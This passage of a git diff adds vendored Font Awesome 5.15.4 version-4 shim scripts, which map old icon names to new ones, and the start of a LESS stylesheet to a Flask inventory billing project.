"flag"], ["mail-reply-all", null, "reply-all"], ["star-half-o", "far", "star-half"], ["star-half-empty", "far", "star-half"], ["star-half-full", "far", "star-half"], ["code-fork", null, "code-branch"], ["chain-broken", null, "unlink"], ["shield", null, "shield-alt"], ["calendar-o", "far", "calendar"], ["maxcdn", "fab", null], ["html5", "fab", null], ["css3", "fab", null], ["ticket", null, "ticket-alt"], ["minus-square-o", "far", "minus-square"], ["level-up", null, "level-up-alt"], ["level-down", null, "level-down-alt"], ["pencil-square", null, "pen-square"], ["external-link-square", null, "external-link-square-alt"], ["compass", "far", null], ["caret-square-o-down", "far", "caret-square-down"], ["toggle-down", "far", "caret-square-down"], ["caret-square-o-up", "far", "caret-square-up"], ["toggle-up", "far", "caret-square-up"], ["caret-square-o-right", "far", "caret-square-right"], ["toggle-right", "far", "caret-square-right"], ["eur", null, "euro-sign"], ["euro", null, "euro-sign"], ["gbp", null, "pound-sign"], ["usd", null, "dollar-sign"], ["dollar", null, "dollar-sign"], ["inr", null, "rupee-sign"], ["rupee", null, "rupee-sign"], ["jpy", null, "yen-sign"], ["cny", null, "yen-sign"], ["rmb", null, "yen-sign"], ["yen", null, "yen-sign"], ["rub", null, "ruble-sign"], ["ruble", null, "ruble-sign"], ["rouble", null, "ruble-sign"], ["krw", null, "won-sign"], ["won", null, "won-sign"], ["btc", "fab", null], ["bitcoin", "fab", "btc"], ["file-text", null, "file-alt"], ["sort-alpha-asc", null, "sort-alpha-down"], ["sort-alpha-desc", null, "sort-alpha-down-alt"], ["sort-amount-asc", null, "sort-amount-down"], ["sort-amount-desc", null, "sort-amount-down-alt"], ["sort-numeric-asc", null, "sort-numeric-down"], ["sort-numeric-desc", null, "sort-numeric-down-alt"], ["youtube-square", "fab", null], ["youtube", "fab", null], ["xing", "fab", null], ["xing-square", "fab", null], ["youtube-play", "fab", "youtube"], ["dropbox", "fab", null], ["stack-overflow", "fab", null], ["instagram", "fab", null], ["flickr", "fab", null], ["adn", "fab", null], ["bitbucket", "fab", null], ["bitbucket-square", "fab", "bitbucket"], ["tumblr", "fab", null], ["tumblr-square", "fab", null], ["long-arrow-down", null, "long-arrow-alt-down"], ["long-arrow-up", null, "long-arrow-alt-up"], ["long-arrow-left", null, "long-arrow-alt-left"], ["long-arrow-right", null, "long-arrow-alt-right"], ["apple", "fab", null], ["windows", "fab", null], ["android", "fab", null], ["linux", "fab", null], ["dribbble", "fab", null], ["skype", "fab", null], ["foursquare", "fab", null], ["trello", "fab", null], ["gratipay", "fab", null], ["gittip", "fab", "gratipay"], ["sun-o", "far", "sun"], ["moon-o", "far", "moon"], ["vk", "fab", null], ["weibo", "fab", null], ["renren", "fab", null], ["pagelines", "fab", null], ["stack-exchange", "fab", null], ["arrow-circle-o-right", "far", "arrow-alt-circle-right"], ["arrow-circle-o-left", "far", "arrow-alt-circle-left"], ["caret-square-o-left", "far", "caret-square-left"], ["toggle-left", "far", "caret-square-left"], ["dot-circle-o", "far", "dot-circle"], ["vimeo-square", "fab", null], ["try", null, "lira-sign"], ["turkish-lira", null, "lira-sign"], ["plus-square-o", "far", "plus-square"], ["slack", "fab", null], ["wordpress", "fab", null], ["openid", "fab", null], ["institution", null, "university"], ["bank", null, "university"], ["mortar-board", null, "graduation-cap"], ["yahoo", "fab", null], ["google", "fab", null], ["reddit", "fab", null], ["reddit-square", "fab", null], ["stumbleupon-circle", "fab", null], ["stumbleupon", "fab", null], ["delicious", "fab", null], ["digg", "fab", null], ["pied-piper-pp", "fab", null], ["pied-piper-alt", "fab", null], ["drupal", "fab", null], ["joomla", "fab", null], ["spoon", null, "utensil-spoon"], ["behance", "fab", null], ["behance-square", "fab", null], ["steam", "fab", null], ["steam-square", "fab", null], ["automobile", null, "car"], ["envelope-o", "far", "envelope"], ["spotify", "fab", null], ["deviantart", "fab", null], ["soundcloud", "fab", null], ["file-pdf-o", "far", "file-pdf"], ["file-word-o", "far", "file-word"], ["file-excel-o", "far", "file-excel"], ["file-powerpoint-o", "far", "file-powerpoint"], ["file-image-o", "far", "file-image"], ["file-photo-o", "far", "file-image"], ["file-picture-o", "far", "file-image"], ["file-archive-o", "far", "file-archive"], ["file-zip-o", "far", "file-archive"], ["file-audio-o", "far", "file-audio"], ["file-sound-o", "far", "file-audio"], ["file-video-o", "far", "file-video"], ["file-movie-o", "far", "file-video"], ["file-code-o", "far", "file-code"], ["vine", "fab", null], ["codepen", "fab", null], ["jsfiddle", "fab", null], ["life-ring", "far", null], ["life-bouy", "far", "life-ring"], ["life-buoy", "far", "life-ring"], ["life-saver", "far", "life-ring"], ["support", "far", "life-ring"], ["circle-o-notch", null, "circle-notch"], ["rebel", "fab", null], ["ra", "fab", "rebel"], ["resistance", "fab", "rebel"], ["empire", "fab", null], ["ge", "fab", "empire"], ["git-square", "fab", null], ["git", "fab", null], ["hacker-news", "fab", null], ["y-combinator-square", "fab", "hacker-news"], ["yc-square", "fab", "hacker-news"], ["tencent-weibo", "fab", null], ["qq", "fab", null], ["weixin", "fab", null], ["wechat", "fab", "weixin"], ["send", null, "paper-plane"], ["paper-plane-o", "far", "paper-plane"], ["send-o", "far", "paper-plane"], ["circle-thin", "far", "circle"], ["header", null, "heading"], ["sliders", null, "sliders-h"], ["futbol-o", "far", "futbol"], ["soccer-ball-o", "far", "futbol"], ["slideshare", "fab", null], ["twitch", "fab", null], ["yelp", "fab", null], ["newspaper-o", "far", "newspaper"], ["paypal", "fab", null], ["google-wallet", "fab", null], ["cc-visa", "fab", null], ["cc-mastercard", "fab", null], ["cc-discover", "fab", null], ["cc-amex", "fab", null], ["cc-paypal", "fab", null], ["cc-stripe", "fab", null], ["bell-slash-o", "far", "bell-slash"], ["trash", null, "trash-alt"], ["copyright", "far", null], ["eyedropper", null, "eye-dropper"], ["area-chart", null, "chart-area"], ["pie-chart", null, "chart-pie"], ["line-chart", null, "chart-line"], ["lastfm", "fab", null], ["lastfm-square", "fab", null], ["ioxhost", "fab", null], ["angellist", "fab", null], ["cc", "far", "closed-captioning"], ["ils", null, "shekel-sign"], ["shekel", null, "shekel-sign"], ["sheqel", null, "shekel-sign"], ["meanpath", "fab", "font-awesome"], ["buysellads", "fab", null], ["connectdevelop", "fab", null], ["dashcube", "fab", null], ["forumbee", "fab", null], ["leanpub", "fab", null], ["sellsy", "fab", null], ["shirtsinbulk", "fab", null], ["simplybuilt", "fab", null], ["skyatlas", "fab", null], ["diamond", "far", "gem"], ["intersex", null, "transgender"], ["facebook-official", "fab", "facebook"], ["pinterest-p", "fab", null], ["whatsapp", "fab", null], ["hotel", null, "bed"], ["viacoin", "fab", null], ["medium", "fab", null], ["y-combinator", "fab", null], ["yc", "fab", "y-combinator"], ["optin-monster", "fab", null], ["opencart", "fab", null], ["expeditedssl", "fab", null], ["battery-4", null, "battery-full"], ["battery", null, "battery-full"], ["battery-3", null, "battery-three-quarters"], ["battery-2", null, "battery-half"], ["battery-1", null, "battery-quarter"], ["battery-0", null, "battery-empty"], ["object-group", "far", null], ["object-ungroup", "far", null], ["sticky-note-o", "far", "sticky-note"], ["cc-jcb", "fab", null], ["cc-diners-club", "fab", null], ["clone", "far", null], ["hourglass-o", "far", "hourglass"], ["hourglass-1", null, "hourglass-start"], ["hourglass-2", null, "hourglass-half"], ["hourglass-3", null, "hourglass-end"], ["hand-rock-o", "far", "hand-rock"], ["hand-grab-o", "far", "hand-rock"], ["hand-paper-o", "far", "hand-paper"], ["hand-stop-o", "far", "hand-paper"], ["hand-scissors-o", "far", "hand-scissors"], ["hand-lizard-o", "far", "hand-lizard"], ["hand-spock-o", "far", "hand-spock"], ["hand-pointer-o", "far", "hand-pointer"], ["hand-peace-o", "far", "hand-peace"], ["registered", "far", null], ["creative-commons", "fab", null], ["gg", "fab", null], ["gg-circle", "fab", null], ["tripadvisor", "fab", null], ["odnoklassniki", "fab", null], ["odnoklassniki-square", "fab", null], ["get-pocket", "fab", null], ["wikipedia-w", "fab", null], ["safari", "fab", null], ["chrome", "fab", null], ["firefox", "fab", null], ["opera", "fab", null], ["internet-explorer", "fab", null], ["television", null, "tv"], ["contao", "fab", null], ["500px", "fab", null], ["amazon", "fab", null], ["calendar-plus-o", "far", "calendar-plus"], ["calendar-minus-o", "far", "calendar-minus"], ["calendar-times-o", "far", "calendar-times"], ["calendar-check-o", "far", "calendar-check"], ["map-o", "far", "map"], ["commenting", null, "comment-dots"], ["commenting-o", "far", "comment-dots"], ["houzz", "fab", null], ["vimeo", "fab", "vimeo-v"], ["black-tie", "fab", null], ["fonticons", "fab", null], ["reddit-alien", "fab", null], ["edge", "fab", null], ["credit-card-alt", null, "credit-card"], ["codiepie", "fab", null], ["modx", "fab", null], ["fort-awesome", "fab", null], ["usb", "fab", null], ["product-hunt", "fab", null], ["mixcloud", "fab", null], ["scribd", "fab", null], ["pause-circle-o", "far", "pause-circle"], ["stop-circle-o", "far", "stop-circle"], ["bluetooth", "fab", null], ["bluetooth-b", "fab", null], ["gitlab", "fab", null], ["wpbeginner", "fab", null], ["wpforms", "fab", null], ["envira", "fab", null], ["wheelchair-alt", "fab", "accessible-icon"], ["question-circle-o", "far", "question-circle"], ["volume-control-phone", null, "phone-volume"], ["asl-interpreting", null, "american-sign-language-interpreting"], ["deafness", null, "deaf"], ["hard-of-hearing", null, "deaf"], ["glide", "fab", null], ["glide-g", "fab", null], ["signing", null, "sign-language"], ["viadeo", "fab", null], ["viadeo-square", "fab", null], ["snapchat", "fab", null], ["snapchat-ghost", "fab", null], ["snapchat-square", "fab", null], ["pied-piper", "fab", null], ["first-order", "fab", null], ["yoast", "fab", null], ["themeisle", "fab", null], ["google-plus-official", "fab", "google-plus"], ["google-plus-circle", "fab", "google-plus"], ["font-awesome", "fab", null], ["fa", "fab", "font-awesome"], ["handshake-o", "far", "handshake"], ["envelope-open-o", "far", "envelope-open"], ["linode", "fab", null], ["address-book-o", "far", "address-book"], ["vcard", null, "address-card"], ["address-card-o", "far", "address-card"], ["vcard-o", "far", "address-card"], ["user-circle-o", "far", "user-circle"], ["user-o", "far", "user"], ["id-badge", "far", null], ["drivers-license", null, "id-card"], ["id-card-o", "far", "id-card"], ["drivers-license-o", "far", "id-card"], ["quora", "fab", null], ["free-code-camp", "fab", null], ["telegram", "fab", null], ["thermometer-4", null, "thermometer-full"], ["thermometer", null, "thermometer-full"], ["thermometer-3", null, "thermometer-three-quarters"], ["thermometer-2", null, "thermometer-half"], ["thermometer-1", null, "thermometer-quarter"], ["thermometer-0", null, "thermometer-empty"], ["bathtub", null, "bath"], ["s15", null, "bath"], ["window-maximize", "far", null], ["window-restore", "far", null], ["times-rectangle", null, "window-close"], ["window-close-o", "far", "window-close"], ["times-rectangle-o", "far", "window-close"], ["bandcamp", "fab", null], ["grav", "fab", null], ["etsy", "fab", null], ["imdb", "fab", null], ["ravelry", "fab", null], ["eercast", "fab", "sellcast"], ["snowflake-o", "far", "snowflake"], ["superpowers", "fab", null], ["wpexplorer", "fab", null], ["cab", null, "taxi"]]; + bunker(function () { + if (typeof namespace.hooks.addShims === 'function') { + namespace.hooks.addShims(shims); + } else { + var _namespace$shims; + + (_namespace$shims = namespace.shims).push.apply(_namespace$shims, shims); + } + }); + + return shims; + +}))); diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/v4-shims.min.js b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/v4-shims.min.js new file mode 100644 index 00000000..05d5ee76 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/v4-shims.min.js @@ -0,0 +1,36 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +var l, a; + +l = this, a = function() { + "use strict"; + var l = {}, a = {}; + try { + "undefined" != typeof window && (l = window), "undefined" != typeof document && (a = document); + } catch (l) {} + var e = (l.navigator || {}).userAgent, r = void 0 === e ? "" : e, n = l, o = a, u = (n.document, + !!o.documentElement && !!o.head && "function" == typeof o.addEventListener && o.createElement, + ~r.indexOf("MSIE") || r.indexOf("Trident/"), "___FONT_AWESOME___"), t = function() { + try { + return "production" === process.env.NODE_ENV; + } catch (l) { + return !1; + } + }(); + var f = n || {}; + f[u] || (f[u] = {}), f[u].styles || (f[u].styles = {}), f[u].hooks || (f[u].hooks = {}), + f[u].shims || (f[u].shims = []); + var i = f[u], s = [ [ "glass", null, "glass-martini" ], [ "meetup", "fab", null ], [ "star-o", "far", "star" ], [ "remove", null, "times" ], [ "close", null, "times" ], [ "gear", null, "cog" ], [ "trash-o", "far", "trash-alt" ], [ "file-o", "far", "file" ], [ "clock-o", "far", "clock" ], [ "arrow-circle-o-down", "far", "arrow-alt-circle-down" ], [ "arrow-circle-o-up", "far", "arrow-alt-circle-up" ], [ "play-circle-o", "far", "play-circle" ], [ "repeat", null, "redo" ], [ "rotate-right", null, "redo" ], [ "refresh", null, "sync" ], [ "list-alt", "far", null ], [ "dedent", null, "outdent" ], [ "video-camera", null, "video" ], [ "picture-o", "far", "image" ], [ "photo", "far", "image" ], [ "image", "far", "image" ], [ "pencil", null, "pencil-alt" ], [ "map-marker", null, "map-marker-alt" ], [ "pencil-square-o", "far", "edit" ], [ "share-square-o", "far", "share-square" ], [ "check-square-o", "far", "check-square" ], [ "arrows", null, "arrows-alt" ], [ "times-circle-o", "far", "times-circle" ], [ "check-circle-o", "far", "check-circle" ], [ "mail-forward", null, "share" ], [ "expand", null, "expand-alt" ], [ "compress", null, "compress-alt" ], [ "eye", "far", null ], [ "eye-slash", "far", null ], [ "warning", null, "exclamation-triangle" ], [ "calendar", null, "calendar-alt" ], [ "arrows-v", null, "arrows-alt-v" ], [ "arrows-h", null, "arrows-alt-h" ], [ "bar-chart", "far", "chart-bar" ], [ "bar-chart-o", "far", "chart-bar" ], [ "twitter-square", "fab", null ], [ "facebook-square", "fab", null ], [ "gears", null, "cogs" ], [ "thumbs-o-up", "far", "thumbs-up" ], [ "thumbs-o-down", "far", "thumbs-down" ], [ "heart-o", "far", "heart" ], [ "sign-out", null, "sign-out-alt" ], [ "linkedin-square", "fab", "linkedin" ], [ "thumb-tack", null, "thumbtack" ], [ "external-link", null, "external-link-alt" ], [ "sign-in", null, "sign-in-alt" ], [ "github-square", "fab", null ], [ "lemon-o", "far", "lemon" ], [ "square-o", "far", "square" ], [ "bookmark-o", "far", "bookmark" ], [ "twitter", "fab", null ], [ "facebook", "fab", "facebook-f" ], [ "facebook-f", "fab", "facebook-f" ], [ "github", "fab", null ], [ "credit-card", "far", null ], [ "feed", null, "rss" ], [ "hdd-o", "far", "hdd" ], [ "hand-o-right", "far", "hand-point-right" ], [ "hand-o-left", "far", "hand-point-left" ], [ "hand-o-up", "far", "hand-point-up" ], [ "hand-o-down", "far", "hand-point-down" ], [ "arrows-alt", null, "expand-arrows-alt" ], [ "group", null, "users" ], [ "chain", null, "link" ], [ "scissors", null, "cut" ], [ "files-o", "far", "copy" ], [ "floppy-o", "far", "save" ], [ "navicon", null, "bars" ], [ "reorder", null, "bars" ], [ "pinterest", "fab", null ], [ "pinterest-square", "fab", null ], [ "google-plus-square", "fab", null ], [ "google-plus", "fab", "google-plus-g" ], [ "money", "far", "money-bill-alt" ], [ "unsorted", null, "sort" ], [ "sort-desc", null, "sort-down" ], [ "sort-asc", null, "sort-up" ], [ "linkedin", "fab", "linkedin-in" ], [ "rotate-left", null, "undo" ], [ "legal", null, "gavel" ], [ "tachometer", null, "tachometer-alt" ], [ "dashboard", null, "tachometer-alt" ], [ "comment-o", "far", "comment" ], [ "comments-o", "far", "comments" ], [ "flash", null, "bolt" ], [ "clipboard", "far", null ], [ "paste", "far", "clipboard" ], [ "lightbulb-o", "far", "lightbulb" ], [ "exchange", null, "exchange-alt" ], [ "cloud-download", null, "cloud-download-alt" ], [ "cloud-upload", null, "cloud-upload-alt" ], [ "bell-o", "far", "bell" ], [ "cutlery", null, "utensils" ], [ "file-text-o", "far", "file-alt" ], [ "building-o", "far", "building" ], [ "hospital-o", "far", "hospital" ], [ "tablet", null, "tablet-alt" ], [ "mobile", null, "mobile-alt" ], [ "mobile-phone", null, "mobile-alt" ], [ "circle-o", "far", "circle" ], [ "mail-reply", null, "reply" ], [ "github-alt", "fab", null ], [ "folder-o", "far", "folder" ], [ "folder-open-o", "far", "folder-open" ], [ "smile-o", "far", "smile" ], [ "frown-o", "far", "frown" ], [ "meh-o", "far", "meh" ], [ "keyboard-o", "far", "keyboard" ], [ "flag-o", "far", "flag" ], [ "mail-reply-all", null, "reply-all" ], [ "star-half-o", "far", "star-half" ], [ "star-half-empty", "far", "star-half" ], [ "star-half-full", "far", "star-half" ], [ "code-fork", null, "code-branch" ], [ "chain-broken", null, "unlink" ], [ "shield", null, "shield-alt" ], [ "calendar-o", "far", "calendar" ], [ "maxcdn", "fab", null ], [ "html5", "fab", null ], [ "css3", "fab", null ], [ "ticket", null, "ticket-alt" ], [ "minus-square-o", "far", "minus-square" ], [ "level-up", null, "level-up-alt" ], [ "level-down", null, "level-down-alt" ], [ "pencil-square", null, "pen-square" ], [ "external-link-square", null, "external-link-square-alt" ], [ "compass", "far", null ], [ "caret-square-o-down", "far", "caret-square-down" ], [ "toggle-down", "far", "caret-square-down" ], [ "caret-square-o-up", "far", "caret-square-up" ], [ "toggle-up", "far", "caret-square-up" ], [ "caret-square-o-right", "far", "caret-square-right" ], [ "toggle-right", "far", "caret-square-right" ], [ "eur", null, "euro-sign" ], [ "euro", null, "euro-sign" ], [ "gbp", null, "pound-sign" ], [ "usd", null, "dollar-sign" ], [ "dollar", null, "dollar-sign" ], [ "inr", null, "rupee-sign" ], [ "rupee", null, "rupee-sign" ], [ "jpy", null, "yen-sign" ], [ "cny", null, "yen-sign" ], [ "rmb", null, "yen-sign" ], [ "yen", null, "yen-sign" ], [ "rub", null, "ruble-sign" ], [ "ruble", null, "ruble-sign" ], [ "rouble", null, "ruble-sign" ], [ "krw", null, "won-sign" ], [ "won", null, "won-sign" ], [ "btc", "fab", null ], [ "bitcoin", "fab", "btc" ], [ "file-text", null, "file-alt" ], [ "sort-alpha-asc", null, "sort-alpha-down" ], [ "sort-alpha-desc", null, "sort-alpha-down-alt" ], [ "sort-amount-asc", null, "sort-amount-down" ], [ "sort-amount-desc", null, "sort-amount-down-alt" ], [ "sort-numeric-asc", null, "sort-numeric-down" ], [ "sort-numeric-desc", null, "sort-numeric-down-alt" ], [ "youtube-square", "fab", null ], [ "youtube", "fab", null ], [ "xing", "fab", null ], [ "xing-square", "fab", null ], [ "youtube-play", "fab", "youtube" ], [ "dropbox", "fab", null ], [ "stack-overflow", "fab", null ], [ "instagram", "fab", null ], [ "flickr", "fab", null ], [ "adn", "fab", null ], [ "bitbucket", "fab", null ], [ "bitbucket-square", "fab", "bitbucket" ], [ "tumblr", "fab", null ], [ "tumblr-square", "fab", null ], [ "long-arrow-down", null, "long-arrow-alt-down" ], [ "long-arrow-up", null, "long-arrow-alt-up" ], [ "long-arrow-left", null, "long-arrow-alt-left" ], [ "long-arrow-right", null, "long-arrow-alt-right" ], [ "apple", "fab", null ], [ "windows", "fab", null ], [ "android", "fab", null ], [ "linux", "fab", null ], [ "dribbble", "fab", null ], [ "skype", "fab", null ], [ "foursquare", "fab", null ], [ "trello", "fab", null ], [ "gratipay", "fab", null ], [ "gittip", "fab", "gratipay" ], [ "sun-o", "far", "sun" ], [ "moon-o", "far", "moon" ], [ "vk", "fab", null ], [ "weibo", "fab", null ], [ "renren", "fab", null ], [ "pagelines", "fab", null ], [ "stack-exchange", "fab", null ], [ "arrow-circle-o-right", "far", "arrow-alt-circle-right" ], [ "arrow-circle-o-left", "far", "arrow-alt-circle-left" ], [ "caret-square-o-left", "far", "caret-square-left" ], [ "toggle-left", "far", "caret-square-left" ], [ "dot-circle-o", "far", "dot-circle" ], [ "vimeo-square", "fab", null ], [ "try", null, "lira-sign" ], [ "turkish-lira", null, "lira-sign" ], [ "plus-square-o", "far", "plus-square" ], [ "slack", "fab", null ], [ "wordpress", "fab", null ], [ "openid", "fab", null ], [ "institution", null, "university" ], [ "bank", null, "university" ], [ "mortar-board", null, "graduation-cap" ], [ "yahoo", "fab", null ], [ "google", "fab", null ], [ "reddit", "fab", null ], [ "reddit-square", "fab", null ], [ "stumbleupon-circle", "fab", null ], [ "stumbleupon", "fab", null ], [ "delicious", "fab", null ], [ "digg", "fab", null ], [ "pied-piper-pp", "fab", null ], [ "pied-piper-alt", "fab", null ], [ "drupal", "fab", null ], [ "joomla", "fab", null ], [ "spoon", null, "utensil-spoon" ], [ "behance", "fab", null ], [ "behance-square", "fab", null ], [ "steam", "fab", null ], [ "steam-square", "fab", null ], [ "automobile", null, "car" ], [ "envelope-o", "far", "envelope" ], [ "spotify", "fab", null ], [ "deviantart", "fab", null ], [ "soundcloud", "fab", null ], [ "file-pdf-o", "far", "file-pdf" ], [ "file-word-o", "far", "file-word" ], [ "file-excel-o", "far", "file-excel" ], [ "file-powerpoint-o", "far", "file-powerpoint" ], [ "file-image-o", "far", "file-image" ], [ "file-photo-o", "far", "file-image" ], [ "file-picture-o", "far", "file-image" ], [ "file-archive-o", "far", "file-archive" ], [ "file-zip-o", "far", "file-archive" ], [ "file-audio-o", "far", "file-audio" ], [ "file-sound-o", "far", "file-audio" ], [ "file-video-o", "far", "file-video" ], [ "file-movie-o", "far", "file-video" ], [ "file-code-o", "far", "file-code" ], [ "vine", "fab", null ], [ "codepen", "fab", null ], [ "jsfiddle", "fab", null ], [ "life-ring", "far", null ], [ "life-bouy", "far", "life-ring" ], [ "life-buoy", "far", "life-ring" ], [ "life-saver", "far", "life-ring" ], [ "support", "far", "life-ring" ], [ "circle-o-notch", null, "circle-notch" ], [ "rebel", "fab", null ], [ "ra", "fab", "rebel" ], [ "resistance", "fab", "rebel" ], [ "empire", "fab", null ], [ "ge", "fab", "empire" ], [ "git-square", "fab", null ], [ "git", "fab", null ], [ "hacker-news", "fab", null ], [ "y-combinator-square", "fab", "hacker-news" ], [ "yc-square", "fab", "hacker-news" ], [ "tencent-weibo", "fab", null ], [ "qq", "fab", null ], [ "weixin", "fab", null ], [ "wechat", "fab", "weixin" ], [ "send", null, "paper-plane" ], [ "paper-plane-o", "far", "paper-plane" ], [ "send-o", "far", "paper-plane" ], [ "circle-thin", "far", "circle" ], [ "header", null, "heading" ], [ "sliders", null, "sliders-h" ], [ "futbol-o", "far", "futbol" ], [ "soccer-ball-o", "far", "futbol" ], [ "slideshare", "fab", null ], [ "twitch", "fab", null ], [ "yelp", "fab", null ], [ "newspaper-o", "far", "newspaper" ], [ "paypal", "fab", null ], [ "google-wallet", "fab", null ], [ "cc-visa", "fab", null ], [ "cc-mastercard", "fab", null ], [ "cc-discover", "fab", null ], [ "cc-amex", "fab", null ], [ "cc-paypal", "fab", null ], [ "cc-stripe", "fab", null ], [ "bell-slash-o", "far", "bell-slash" ], [ "trash", null, "trash-alt" ], [ "copyright", "far", null ], [ "eyedropper", null, "eye-dropper" ], [ "area-chart", null, "chart-area" ], [ "pie-chart", null, "chart-pie" ], [ "line-chart", null, "chart-line" ], [ "lastfm", "fab", null ], [ "lastfm-square", "fab", null ], [ "ioxhost", "fab", null ], [ "angellist", "fab", null ], [ "cc", "far", "closed-captioning" ], [ "ils", null, "shekel-sign" ], [ "shekel", null, "shekel-sign" ], [ "sheqel", null, "shekel-sign" ], [ "meanpath", "fab", "font-awesome" ], [ "buysellads", "fab", null ], [ "connectdevelop", "fab", null ], [ "dashcube", "fab", null ], [ "forumbee", "fab", null ], [ "leanpub", "fab", null ], [ "sellsy", "fab", null ], [ "shirtsinbulk", "fab", null ], [ "simplybuilt", "fab", null ], [ "skyatlas", "fab", null ], [ "diamond", "far", "gem" ], [ "intersex", null, "transgender" ], [ "facebook-official", "fab", "facebook" ], [ "pinterest-p", "fab", null ], [ "whatsapp", "fab", null ], [ "hotel", null, "bed" ], [ "viacoin", "fab", null ], [ "medium", "fab", null ], [ "y-combinator", "fab", null ], [ "yc", "fab", "y-combinator" ], [ "optin-monster", "fab", null ], [ "opencart", "fab", null ], [ "expeditedssl", "fab", null ], [ "battery-4", null, "battery-full" ], [ "battery", null, "battery-full" ], [ "battery-3", null, "battery-three-quarters" ], [ "battery-2", null, "battery-half" ], [ "battery-1", null, "battery-quarter" ], [ "battery-0", null, "battery-empty" ], [ "object-group", "far", null ], [ "object-ungroup", "far", null ], [ "sticky-note-o", "far", "sticky-note" ], [ "cc-jcb", "fab", null ], [ "cc-diners-club", "fab", null ], [ "clone", "far", null ], [ "hourglass-o", "far", "hourglass" ], [ "hourglass-1", null, "hourglass-start" ], [ "hourglass-2", null, "hourglass-half" ], [ "hourglass-3", null, "hourglass-end" ], [ "hand-rock-o", "far", "hand-rock" ], [ "hand-grab-o", "far", "hand-rock" ], [ "hand-paper-o", "far", "hand-paper" ], [ "hand-stop-o", "far", "hand-paper" ], [ "hand-scissors-o", "far", "hand-scissors" ], [ "hand-lizard-o", "far", "hand-lizard" ], [ "hand-spock-o", "far", "hand-spock" ], [ "hand-pointer-o", "far", "hand-pointer" ], [ "hand-peace-o", "far", "hand-peace" ], [ "registered", "far", null ], [ "creative-commons", "fab", null ], [ "gg", "fab", null ], [ "gg-circle", "fab", null ], [ "tripadvisor", "fab", null ], [ "odnoklassniki", "fab", null ], [ "odnoklassniki-square", "fab", null ], [ "get-pocket", "fab", null ], [ "wikipedia-w", "fab", null ], [ "safari", "fab", null ], [ "chrome", "fab", null ], [ "firefox", "fab", null ], [ "opera", "fab", null ], [ "internet-explorer", "fab", null ], [ "television", null, "tv" ], [ "contao", "fab", null ], [ "500px", "fab", null ], [ "amazon", "fab", null ], [ "calendar-plus-o", "far", "calendar-plus" ], [ "calendar-minus-o", "far", "calendar-minus" ], [ "calendar-times-o", "far", "calendar-times" ], [ "calendar-check-o", "far", "calendar-check" ], [ "map-o", "far", "map" ], [ "commenting", null, "comment-dots" ], [ "commenting-o", "far", "comment-dots" ], [ "houzz", "fab", null ], [ "vimeo", "fab", "vimeo-v" ], [ "black-tie", "fab", null ], [ "fonticons", "fab", null ], [ "reddit-alien", "fab", null ], [ "edge", "fab", null ], [ "credit-card-alt", null, "credit-card" ], [ "codiepie", "fab", null ], [ "modx", "fab", null ], [ "fort-awesome", "fab", null ], [ "usb", "fab", null ], [ "product-hunt", "fab", null ], [ "mixcloud", "fab", null ], [ "scribd", "fab", null ], [ "pause-circle-o", "far", "pause-circle" ], [ "stop-circle-o", "far", "stop-circle" ], [ "bluetooth", "fab", null ], [ "bluetooth-b", "fab", null ], [ "gitlab", "fab", null ], [ "wpbeginner", "fab", null ], [ "wpforms", "fab", null ], [ "envira", "fab", null ], [ "wheelchair-alt", "fab", "accessible-icon" ], [ "question-circle-o", "far", "question-circle" ], [ "volume-control-phone", null, "phone-volume" ], [ "asl-interpreting", null, "american-sign-language-interpreting" ], [ "deafness", null, "deaf" ], [ "hard-of-hearing", null, "deaf" ], [ "glide", "fab", null ], [ "glide-g", "fab", null ], [ "signing", null, "sign-language" ], [ "viadeo", "fab", null ], [ "viadeo-square", "fab", null ], [ "snapchat", "fab", null ], [ "snapchat-ghost", "fab", null ], [ "snapchat-square", "fab", null ], [ "pied-piper", "fab", null ], [ "first-order", "fab", null ], [ "yoast", "fab", null ], [ "themeisle", "fab", null ], [ "google-plus-official", "fab", "google-plus" ], [ "google-plus-circle", "fab", "google-plus" ], [ "font-awesome", "fab", null ], [ "fa", "fab", "font-awesome" ], [ "handshake-o", "far", "handshake" ], [ "envelope-open-o", "far", "envelope-open" ], [ "linode", "fab", null ], [ "address-book-o", "far", "address-book" ], [ "vcard", null, "address-card" ], [ "address-card-o", "far", "address-card" ], [ "vcard-o", "far", "address-card" ], [ "user-circle-o", "far", "user-circle" ], [ "user-o", "far", "user" ], [ "id-badge", "far", null ], [ "drivers-license", null, "id-card" ], [ "id-card-o", "far", "id-card" ], [ "drivers-license-o", "far", "id-card" ], [ "quora", "fab", null ], [ "free-code-camp", "fab", null ], [ "telegram", "fab", null ], [ "thermometer-4", null, "thermometer-full" ], [ "thermometer", null, "thermometer-full" ], [ "thermometer-3", null, "thermometer-three-quarters" ], [ "thermometer-2", null, "thermometer-half" ], [ "thermometer-1", null, "thermometer-quarter" ], [ "thermometer-0", null, "thermometer-empty" ], [ "bathtub", null, "bath" ], [ "s15", null, "bath" ], [ "window-maximize", "far", null ], [ "window-restore", "far", null ], [ "times-rectangle", null, "window-close" ], [ "window-close-o", "far", "window-close" ], [ "times-rectangle-o", "far", "window-close" ], [ "bandcamp", "fab", null ], [ "grav", "fab", null ], [ "etsy", "fab", null ], [ "imdb", "fab", null ], [ "ravelry", "fab", null ], [ "eercast", "fab", "sellcast" ], [ "snowflake-o", "far", "snowflake" ], [ "superpowers", "fab", null ], [ "wpexplorer", "fab", null ], [ "cab", null, "taxi" ] ]; + return function(l) { + try { + l(); + } catch (l) { + if (!t) throw l; + } + }(function() { + var l; + "function" == typeof i.hooks.addShims ? i.hooks.addShims(s) : (l = i.shims).push.apply(l, s); + }), s; +}, "object" == typeof exports && "undefined" != typeof module ? module.exports = a() : "function" == typeof define && define.amd ? define(a) : l["fontawesome-free-shims"] = a(); \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_animated.less b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_animated.less new file mode 100644 index 00000000..704ec951 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_animated.less @@ -0,0 +1,19 @@ +// Animated Icons +// -------------------------- + +.@{fa-css-prefix}-spin { + animation: fa-spin 2s infinite 